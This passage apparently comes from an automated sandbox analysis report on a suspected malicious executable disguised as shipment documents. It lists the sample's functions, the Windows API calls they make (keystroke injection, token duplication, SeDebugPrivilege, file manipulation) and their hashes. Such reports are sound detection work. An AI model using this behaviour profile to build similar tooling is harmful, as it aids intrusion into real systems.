                                                                                                                                                                                                          • Associated: 00000000.00000002.1445450681.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                          • Snapshot File: hcaresult_0_2_400000_Export Shipment Documents 72335.jbxd
                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                          • API ID: MessageSend$State$LongProcWindow
                                                                                                                                                                                                          • String ID: @GUI_DRAGID$F
                                                                                                                                                                                                          • API String ID: 1562745308-4164748364
                                                                                                                                                                                                          • Opcode ID: dcc01cbd87ddd492c2c278cbacd50e58f25e8ccd866e9ebab9dee97b514268e5
                                                                                                                                                                                                          • Instruction ID: f40edf6d5039c675f00343e7880f865f139be9e64e9b8d530a61de5f06f6045f
                                                                                                                                                                                                          • Opcode Fuzzy Hash: dcc01cbd87ddd492c2c278cbacd50e58f25e8ccd866e9ebab9dee97b514268e5
                                                                                                                                                                                                          • Instruction Fuzzy Hash: C6429F702042019FD714CF54C884FAB77A5EB89B04F548A6EFA48AB291DBB4EC45CB5A
                                                                                                                                                                                                          Function 004045E0 Relevance: 46.9, Strings: 35, Instructions: 3193COMMON
                                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                                          Strings
                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                          • Source File: 00000000.00000002.1445248630.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445195742.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445334540.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445450681.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                          • Snapshot File: hcaresult_0_2_400000_Export Shipment Documents 72335.jbxd
                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                          • API ID:
                                                                                                                                                                                                          • String ID: PF$'|G$*"D$*vG$+%F$0wE$2G$5CG$7eF$<HF$<G$ApG$DvE$GSG$IqE$K@G$LbF$MdF$NgF$PIF$YtG$^[F$_?G$b"D$i}G$j)F$kQG$lE$rTG$vjE$}eE$*F$3G$_G$wG
                                                                                                                                                                                                          • API String ID: 0-3772701627
                                                                                                                                                                                                          • Opcode ID: bb854585b2a8d25cf70b859c951904b6599901827447d171664d6ae6ba41e592
                                                                                                                                                                                                          • Instruction ID: b1e67458769bbea4a86cd8903524db5b6e79558e2e7ab8c51025fc7bd56032a7
                                                                                                                                                                                                          • Opcode Fuzzy Hash: bb854585b2a8d25cf70b859c951904b6599901827447d171664d6ae6ba41e592
                                                                                                                                                                                                          • Instruction Fuzzy Hash: 118366F1905B409FC351DFAAF984605BAE1F3AA3157A2857FC5088B731D7B8194A8F4C
                                                                                                                                                                                                          Function 004375B0 Relevance: 43.9, APIs: 24, Strings: 1, Instructions: 126threadkeyboardwindowCOMMON
                                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                                          APIs
                                                                                                                                                                                                          • GetForegroundWindow.USER32(00000000,?,?,004448AF,?), ref: 004375B3
                                                                                                                                                                                                          • FindWindowW.USER32(Shell_TrayWnd,00000000), ref: 004375D8
                                                                                                                                                                                                          • IsIconic.USER32(?), ref: 004375E1
                                                                                                                                                                                                          • ShowWindow.USER32(?,00000009,?,?,004448AF,?), ref: 004375EE
                                                                                                                                                                                                          • SetForegroundWindow.USER32(?), ref: 004375FD
                                                                                                                                                                                                          • GetWindowThreadProcessId.USER32(00000000,00000000), ref: 00437615
                                                                                                                                                                                                          • GetCurrentThreadId.KERNEL32 ref: 00437619
                                                                                                                                                                                                          • GetWindowThreadProcessId.USER32(?,00000000), ref: 00437624
                                                                                                                                                                                                          • AttachThreadInput.USER32(00000000,00000000,00000001,?,?,004448AF,?), ref: 00437632
                                                                                                                                                                                                          • AttachThreadInput.USER32(00000000,00000000,00000001,?,?,004448AF,?), ref: 00437638
                                                                                                                                                                                                          • AttachThreadInput.USER32(00000000,00000000,00000001,?,?,004448AF,?), ref: 0043763E
                                                                                                                                                                                                          • SetForegroundWindow.USER32(?), ref: 00437645
                                                                                                                                                                                                          • MapVirtualKeyW.USER32(00000012,00000000), ref: 00437654
                                                                                                                                                                                                          • keybd_event.USER32(00000012,00000000), ref: 0043765D
                                                                                                                                                                                                          • MapVirtualKeyW.USER32(00000012,00000000), ref: 0043766B
                                                                                                                                                                                                          • keybd_event.USER32(00000012,00000000), ref: 00437674
                                                                                                                                                                                                          • MapVirtualKeyW.USER32(00000012,00000000), ref: 00437682
                                                                                                                                                                                                          • keybd_event.USER32(00000012,00000000), ref: 0043768B
                                                                                                                                                                                                          • MapVirtualKeyW.USER32(00000012,00000000), ref: 00437699
                                                                                                                                                                                                          • keybd_event.USER32(00000012,00000000), ref: 004376A2
                                                                                                                                                                                                          • SetForegroundWindow.USER32(?), ref: 004376AD
                                                                                                                                                                                                          • AttachThreadInput.USER32(00000000,00000000,00000000,?,?,004448AF), ref: 004376CD
                                                                                                                                                                                                          • AttachThreadInput.USER32(00000000,00000000,00000000,?,?,004448AF), ref: 004376D3
                                                                                                                                                                                                          • AttachThreadInput.USER32(00000000,00000000,00000000,?,?,004448AF), ref: 004376D9
                                                                                                                                                                                                          Strings
                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                          • Source File: 00000000.00000002.1445248630.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445195742.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445334540.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445450681.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                          • Snapshot File: hcaresult_0_2_400000_Export Shipment Documents 72335.jbxd
                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                          • API ID: Thread$Window$AttachInput$ForegroundVirtualkeybd_event$Process$CurrentFindIconicShow
                                                                                                                                                                                                          • String ID: Shell_TrayWnd
                                                                                                                                                                                                          • API String ID: 3778422247-2988720461
                                                                                                                                                                                                          • Opcode ID: ec12ba9e870cc2e5dd85ad52799cb15a6745d125a488419c4f0ebb71fc1ee38e
                                                                                                                                                                                                          • Instruction ID: 6108fbe056c1a000d5481f33e03d330ccc862392245923d3170deea12ea07584
                                                                                                                                                                                                          • Opcode Fuzzy Hash: ec12ba9e870cc2e5dd85ad52799cb15a6745d125a488419c4f0ebb71fc1ee38e
                                                                                                                                                                                                          • Instruction Fuzzy Hash: AC31A4712803157FE6245BA59D0EF7F3F9CEB48B51F10082EFA02EA1D1DAE458009B79
                                                                                                                                                                                                          Function 004461ED Relevance: 37.0, APIs: 18, Strings: 3, Instructions: 227processCOMMON
                                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                                          APIs
                                                                                                                                                                                                          • _memset.LIBCMT ref: 0044621B
                                                                                                                                                                                                          • DuplicateTokenEx.ADVAPI32(?,00000000,00000000,00000002,00000001,?,?,?,?,?,?,?,?,?,?,?), ref: 00446277
                                                                                                                                                                                                          • CloseHandle.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 0044628A
                                                                                                                                                                                                          • OpenWindowStationW.USER32(winsta0,00000000,00060000), ref: 004462A4
                                                                                                                                                                                                          • GetProcessWindowStation.USER32(?,?,?,?,?,?,?,?,?,?,?,?), ref: 004462BD
                                                                                                                                                                                                          • SetProcessWindowStation.USER32(00000000,?,?,?,?,?,?,?,?,?,?,?,?), ref: 004462C8
                                                                                                                                                                                                          • OpenDesktopW.USER32(default,00000000,00000000,00060081), ref: 004462E4
                                                                                                                                                                                                          • _wcslen.LIBCMT ref: 0044639E
                                                                                                                                                                                                            • Part of subcall function 0041171A: _malloc.LIBCMT ref: 00411734
                                                                                                                                                                                                          • _wcsncpy.LIBCMT ref: 004463C7
                                                                                                                                                                                                          • LoadUserProfileW.USERENV(?,00000000,00000000,?,?,00000000,?,?,?,?), ref: 004463E7
                                                                                                                                                                                                          • CreateEnvironmentBlock.USERENV(?,?,00000000,00000000,?,?,00000000,?,?,?,?), ref: 00446408
                                                                                                                                                                                                          • CreateProcessAsUserW.ADVAPI32(?,00000000,00000000,00000000,00000000,?,?,?,?,?,?,00000000,?,?,00000000,?), ref: 00446446
                                                                                                                                                                                                          • UnloadUserProfile.USERENV(?,?,?,?,?,?,?), ref: 00446483
                                                                                                                                                                                                          • CloseWindowStation.USER32(00000000,?,?,?,?), ref: 00446497
                                                                                                                                                                                                          • CloseDesktop.USER32(00000000,?,?,?,?), ref: 0044649E
                                                                                                                                                                                                          • SetProcessWindowStation.USER32(?,?,?,?,?), ref: 004464A9
                                                                                                                                                                                                          • CloseHandle.KERNEL32(?,?,?,?,?), ref: 004464B4
                                                                                                                                                                                                          • DestroyEnvironmentBlock.USERENV(?,?,?,?,?,?), ref: 004464C8
                                                                                                                                                                                                          Strings
                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                          • Source File: 00000000.00000002.1445248630.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445195742.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445334540.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445450681.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                          • Snapshot File: hcaresult_0_2_400000_Export Shipment Documents 72335.jbxd
                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                          • API ID: StationWindow$CloseProcess$User$BlockCreateDesktopEnvironmentHandleOpenProfile$DestroyDuplicateLoadTokenUnload_malloc_memset_wcslen_wcsncpy
                                                                                                                                                                                                          • String ID: $default$winsta0
                                                                                                                                                                                                          • API String ID: 2173856841-1027155976
                                                                                                                                                                                                          • Opcode ID: 8783c105518f9fa52f5c80a6299cf7ec7b6e28c011eada52347f54b488ad9e21
                                                                                                                                                                                                          • Instruction ID: eafd5d154f9bcf2590b8f8eb1e0f3d39b01f77f2fd200ee1cb9c7344d9c52646
                                                                                                                                                                                                          • Opcode Fuzzy Hash: 8783c105518f9fa52f5c80a6299cf7ec7b6e28c011eada52347f54b488ad9e21
                                                                                                                                                                                                          • Instruction Fuzzy Hash: DD819170208341AFE724DF65C848B6FBBE8AF89744F04491DF69097291DBB8D805CB6B
                                                                                                                                                                                                          Function 00409A40 Relevance: 32.2, APIs: 15, Strings: 2, Instructions: 2432COMMON
                                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                                          APIs
                                                                                                                                                                                                          • _wcslen.LIBCMT ref: 00409A61
                                                                                                                                                                                                            • Part of subcall function 0041171A: _malloc.LIBCMT ref: 00411734
                                                                                                                                                                                                            • Part of subcall function 0041171A: std::bad_alloc::bad_alloc.LIBCMT ref: 00411757
                                                                                                                                                                                                            • Part of subcall function 0041171A: std::bad_exception::bad_exception.LIBCMT ref: 0041176B
                                                                                                                                                                                                            • Part of subcall function 0041171A: __CxxThrowException@8.LIBCMT ref: 00411779
                                                                                                                                                                                                          • CharUpperBuffW.USER32(?,?), ref: 00409AF5
                                                                                                                                                                                                          Strings
                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                          • Source File: 00000000.00000002.1445248630.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445195742.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445334540.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445450681.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                          • Snapshot File: hcaresult_0_2_400000_Export Shipment Documents 72335.jbxd
                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                          • API ID: BuffCharException@8ThrowUpper_malloc_wcslenstd::bad_alloc::bad_allocstd::bad_exception::bad_exception
                                                                                                                                                                                                          • String ID: 0vH$4RH
                                                                                                                                                                                                          • API String ID: 1143807570-2085553193
                                                                                                                                                                                                          • Opcode ID: 639eb28f7653b396edda93c07021c63a2de2303dbd98971ccd8aa27258b66cbe
                                                                                                                                                                                                          • Instruction ID: 7c8f52bff4b3ea9a641e6aac08ab5e1c8beb32691f0f21fab5f23224d73a3634
                                                                                                                                                                                                          • Opcode Fuzzy Hash: 639eb28f7653b396edda93c07021c63a2de2303dbd98971ccd8aa27258b66cbe
                                                                                                                                                                                                          • Instruction Fuzzy Hash: 34238170A043109FD724DF25D480A6BB7E1BF89304F54896EE84A9B391D739EC46CB9B
                                                                                                                                                                                                          Function 0044BD29 Relevance: 31.7, APIs: 17, Strings: 1, Instructions: 178filestringCOMMON
                                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                                          APIs
                                                                                                                                                                                                            • Part of subcall function 0040FFB0: GetFullPathNameW.KERNEL32(00000000,00000104,C:\Users\user\Desktop\Export Shipment Documents 72335.exe,?,C:\Users\user\Desktop\Export Shipment Documents 72335.exe,004A8E80,C:\Users\user\Desktop\Export Shipment Documents 72335.exe,0040F3D2), ref: 0040FFCA
                                                                                                                                                                                                            • Part of subcall function 00436A1D: __wsplitpath.LIBCMT ref: 00436A45
                                                                                                                                                                                                            • Part of subcall function 00436A1D: __wsplitpath.LIBCMT ref: 00436A6C
                                                                                                                                                                                                            • Part of subcall function 00436A1D: __wcsicoll.LIBCMT ref: 00436A93
                                                                                                                                                                                                            • Part of subcall function 00436AC4: GetFileAttributesW.KERNEL32(?,0044BD82,?,?,?), ref: 00436AC9
                                                                                                                                                                                                          • _wcscat.LIBCMT ref: 0044BD96
                                                                                                                                                                                                          • _wcscat.LIBCMT ref: 0044BDBF
                                                                                                                                                                                                          • __wsplitpath.LIBCMT ref: 0044BDEC
                                                                                                                                                                                                          • FindFirstFileW.KERNEL32(?,?), ref: 0044BE04
                                                                                                                                                                                                          • _wcscpy.LIBCMT ref: 0044BE73
                                                                                                                                                                                                          • _wcscat.LIBCMT ref: 0044BE85
                                                                                                                                                                                                          • _wcscat.LIBCMT ref: 0044BE97
                                                                                                                                                                                                          • lstrcmpiW.KERNEL32(?,?), ref: 0044BEC3
                                                                                                                                                                                                          • DeleteFileW.KERNEL32(?), ref: 0044BED5
                                                                                                                                                                                                          • MoveFileW.KERNEL32(?,?), ref: 0044BEF5
                                                                                                                                                                                                          • CopyFileW.KERNEL32(?,?,00000000), ref: 0044BF0C
                                                                                                                                                                                                          • DeleteFileW.KERNEL32(?), ref: 0044BF17
                                                                                                                                                                                                          • CopyFileW.KERNEL32(?,?,00000000), ref: 0044BF2E
                                                                                                                                                                                                          • FindClose.KERNEL32(00000000), ref: 0044BF35
                                                                                                                                                                                                          • MoveFileW.KERNEL32(?,?), ref: 0044BF51
                                                                                                                                                                                                          • FindNextFileW.KERNEL32(00000000,00000010), ref: 0044BF66
                                                                                                                                                                                                          • FindClose.KERNEL32(00000000), ref: 0044BF7E
                                                                                                                                                                                                          Strings
                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                          • Source File: 00000000.00000002.1445248630.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445195742.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445334540.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445450681.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                          • Snapshot File: hcaresult_0_2_400000_Export Shipment Documents 72335.jbxd
                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                          • API ID: File$Find_wcscat$__wsplitpath$CloseCopyDeleteMove$AttributesFirstFullNameNextPath__wcsicoll_wcscpylstrcmpi
                                                                                                                                                                                                          • String ID: \*.*
                                                                                                                                                                                                          • API String ID: 2188072990-1173974218
                                                                                                                                                                                                          • Opcode ID: 37b83e77465c63a9a0fc5a2f65b261a2e9867c78515d1bc57cb11e6e3b171851
                                                                                                                                                                                                          • Instruction ID: 14f7055b3521afb04026f42b490306401b0ba37f80ed0ea0ca267746d8cc4687
                                                                                                                                                                                                          • Opcode Fuzzy Hash: 37b83e77465c63a9a0fc5a2f65b261a2e9867c78515d1bc57cb11e6e3b171851
                                                                                                                                                                                                          • Instruction Fuzzy Hash: CA5166B2008344AAD720DBA4DC44FDF73E8AB85314F448D1EF68982141EB79D64CCBAA
                                                                                                                                                                                                          Function 0042039F Relevance: 30.0, APIs: 16, Strings: 1, Instructions: 282timeCOMMON
                                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                                          APIs
                                                                                                                                                                                                          • __invoke_watson.LIBCMT ref: 004203A4
                                                                                                                                                                                                            • Part of subcall function 00417D93: _memset.LIBCMT ref: 00417DBB
                                                                                                                                                                                                            • Part of subcall function 00417D93: IsDebuggerPresent.KERNEL32(?,?,00000314), ref: 00417E6F
                                                                                                                                                                                                            • Part of subcall function 00417D93: SetUnhandledExceptionFilter.KERNEL32(00000000,?,?,00000314), ref: 00417E79
                                                                                                                                                                                                            • Part of subcall function 00417D93: UnhandledExceptionFilter.KERNEL32(?,?,?,00000314), ref: 00417E86
                                                                                                                                                                                                            • Part of subcall function 00417D93: GetCurrentProcess.KERNEL32(C0000417,?,?,00000314), ref: 00417EA1
                                                                                                                                                                                                            • Part of subcall function 00417D93: TerminateProcess.KERNEL32(00000000,?,?,00000314), ref: 00417EA8
                                                                                                                                                                                                          • __get_daylight.LIBCMT ref: 004203B0
                                                                                                                                                                                                          • __invoke_watson.LIBCMT ref: 004203BF
                                                                                                                                                                                                          • __get_daylight.LIBCMT ref: 004203CB
                                                                                                                                                                                                          • __invoke_watson.LIBCMT ref: 004203DA
                                                                                                                                                                                                          • ____lc_codepage_func.LIBCMT ref: 004203E2
                                                                                                                                                                                                          • _strlen.LIBCMT ref: 00420442
                                                                                                                                                                                                          • __malloc_crt.LIBCMT ref: 00420449
                                                                                                                                                                                                          • _strlen.LIBCMT ref: 0042045F
                                                                                                                                                                                                          • _strcpy_s.LIBCMT ref: 0042046D
                                                                                                                                                                                                          • __invoke_watson.LIBCMT ref: 00420482
                                                                                                                                                                                                          • GetTimeZoneInformation.KERNEL32(00496C28), ref: 004204AA
                                                                                                                                                                                                          • WideCharToMultiByte.KERNEL32(?,?,00496C2C,?,?,0000003F,?,?), ref: 00420528
                                                                                                                                                                                                          • WideCharToMultiByte.KERNEL32(?,?,00496C80,000000FF,?,0000003F,?,?,?,00496C2C,?,?,0000003F,?,?), ref: 0042055C
                                                                                                                                                                                                            • Part of subcall function 00413A88: __lock.LIBCMT ref: 00413AA6
                                                                                                                                                                                                            • Part of subcall function 00413A88: ___sbh_find_block.LIBCMT ref: 00413AB1
                                                                                                                                                                                                            • Part of subcall function 00413A88: ___sbh_free_block.LIBCMT ref: 00413AC0
                                                                                                                                                                                                            • Part of subcall function 00413A88: RtlFreeHeap.NTDLL(00000000,00411739,0048C758,0000000C,004183E8,00000000,0048CA38,0000000C,00418422,00411739,?,?,004224D3,00000004,0048CCA0,0000000C), ref: 00413AF0
                                                                                                                                                                                                            • Part of subcall function 00413A88: GetLastError.KERNEL32(?,004224D3,00000004,0048CCA0,0000000C,00417011,00411739,?,00000000,00000000,00000000,?,00416C24,00000001,00000214), ref: 00413B01
                                                                                                                                                                                                          • __invoke_watson.LIBCMT ref: 004205CC
                                                                                                                                                                                                          Strings
                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                          • Source File: 00000000.00000002.1445248630.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445195742.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445334540.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445450681.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                          • Snapshot File: hcaresult_0_2_400000_Export Shipment Documents 72335.jbxd
                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                          • API ID: __invoke_watson$ByteCharExceptionFilterMultiProcessUnhandledWide__get_daylight_strlen$CurrentDebuggerErrorFreeHeapInformationLastPresentTerminateTimeZone____lc_codepage_func___sbh_find_block___sbh_free_block__lock__malloc_crt_memset_strcpy_s
                                                                                                                                                                                                          • String ID: S\
                                                                                                                                                                                                          • API String ID: 4084823496-393906132
                                                                                                                                                                                                          • Opcode ID: 9f641836eee9844fdb211255f71e21062b6006d1a88a71a8f5a1c928a585c03b
                                                                                                                                                                                                          • Instruction ID: b357f19af7064e56bcdb8625987f67de7edc2332d57e558cb2e7b84f91b73af7
                                                                                                                                                                                                          • Opcode Fuzzy Hash: 9f641836eee9844fdb211255f71e21062b6006d1a88a71a8f5a1c928a585c03b
                                                                                                                                                                                                          • Instruction Fuzzy Hash: 6A91D371E00125AFDB20EF65EC819AE7BE9EF55300B95003BF540A7253DA3C89828F5C
                                                                                                                                                                                                          Function 00434D50 Relevance: 29.9, APIs: 14, Strings: 3, Instructions: 114fileCOMMON
                                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                                          APIs
                                                                                                                                                                                                          • GetFullPathNameW.KERNEL32(?,00000104,?,?), ref: 00434D75
                                                                                                                                                                                                          • __swprintf.LIBCMT ref: 00434D91
                                                                                                                                                                                                          • _wcslen.LIBCMT ref: 00434D9B
                                                                                                                                                                                                          • _wcslen.LIBCMT ref: 00434DB0
                                                                                                                                                                                                          • _wcslen.LIBCMT ref: 00434DC5
                                                                                                                                                                                                          • CreateDirectoryW.KERNEL32(?,00000000), ref: 00434DD7
                                                                                                                                                                                                          • CreateFileW.KERNEL32(?,40000000,00000000,00000000,00000003,02200000,00000000), ref: 00434E0A
                                                                                                                                                                                                          • _memset.LIBCMT ref: 00434E27
                                                                                                                                                                                                          • _wcslen.LIBCMT ref: 00434E3C
                                                                                                                                                                                                          • _wcsncpy.LIBCMT ref: 00434E6F
                                                                                                                                                                                                          • DeviceIoControl.KERNEL32(00000000,000900A4,?,?,00000000,00000000,?,00000000), ref: 00434EA9
                                                                                                                                                                                                          • CloseHandle.KERNEL32(00000000), ref: 00434EB4
                                                                                                                                                                                                          • RemoveDirectoryW.KERNEL32(?), ref: 00434EBB
                                                                                                                                                                                                          • CloseHandle.KERNEL32(00000000), ref: 00434ECE
                                                                                                                                                                                                          Strings
                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                          • Source File: 00000000.00000002.1445248630.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445195742.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445334540.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445450681.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                          • Snapshot File: hcaresult_0_2_400000_Export Shipment Documents 72335.jbxd
                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                          • API ID: _wcslen$CloseCreateDirectoryHandle$ControlDeviceFileFullNamePathRemove__swprintf_memset_wcsncpy
                                                                                                                                                                                                          • String ID: :$\$\??\%s
                                                                                                                                                                                                          • API String ID: 302090198-3457252023
                                                                                                                                                                                                          • Opcode ID: 1623bec2b974bb3ee5261838648fb58b2a9d6db5aa255760d49714c370e47f4e
                                                                                                                                                                                                          • Instruction ID: 730b2dca1b6b09bd6b76555d3316dee95f4818bcffb97f26f8f03165767cfd2f
                                                                                                                                                                                                          • Opcode Fuzzy Hash: 1623bec2b974bb3ee5261838648fb58b2a9d6db5aa255760d49714c370e47f4e
                                                                                                                                                                                                          • Instruction Fuzzy Hash: 30416676604340ABE330EB64DC49FEF73E8AFD8714F00891EF649921D1E7B4A645876A
                                                                                                                                                                                                          Function 00464422 Relevance: 28.2, APIs: 15, Strings: 1, Instructions: 193threadCOMMON
                                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                                          APIs
                                                                                                                                                                                                            • Part of subcall function 00444233: _wcslen.LIBCMT ref: 0044424E
                                                                                                                                                                                                          • OpenProcess.KERNEL32(00000001,00000000,?), ref: 0046449E
                                                                                                                                                                                                          • GetLastError.KERNEL32 ref: 004644B4
                                                                                                                                                                                                          • GetCurrentThread.KERNEL32 ref: 004644C8
                                                                                                                                                                                                          • OpenThreadToken.ADVAPI32(00000000), ref: 004644CF
                                                                                                                                                                                                          • GetCurrentProcess.KERNEL32(00000028,?), ref: 004644E0
                                                                                                                                                                                                          • OpenProcessToken.ADVAPI32(00000000), ref: 004644E7
                                                                                                                                                                                                          Strings
                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                          • Source File: 00000000.00000002.1445248630.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445195742.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445334540.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445450681.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                          • Snapshot File: hcaresult_0_2_400000_Export Shipment Documents 72335.jbxd
                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                          • API ID: OpenProcess$CurrentThreadToken$ErrorLast_wcslen
                                                                                                                                                                                                          • String ID: SeDebugPrivilege
                                                                                                                                                                                                          • API String ID: 1312810259-2896544425
                                                                                                                                                                                                          • Opcode ID: bb2abcbadcb50e0008f3b1fe3e217bfa736f6ade076d8095da49bf04f95d98f8
                                                                                                                                                                                                          • Instruction ID: c3f5e6af55eb0da9fa74db60d4f5a84adac3a89a74612fbe59a223ef38337450
                                                                                                                                                                                                          • Opcode Fuzzy Hash: bb2abcbadcb50e0008f3b1fe3e217bfa736f6ade076d8095da49bf04f95d98f8
                                                                                                                                                                                                          • Instruction Fuzzy Hash: 0E51A171200201AFD710DF65DD85F5BB7A8AB84704F10892EFB44DB2C1D7B8E844CBAA
                                                                                                                                                                                                          Function 004037E0 Relevance: 24.9, APIs: 10, Strings: 4, Instructions: 359COMMON
                                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                                          APIs
                                                                                                                                                                                                            • Part of subcall function 00401B70: _wcslen.LIBCMT ref: 00401B71
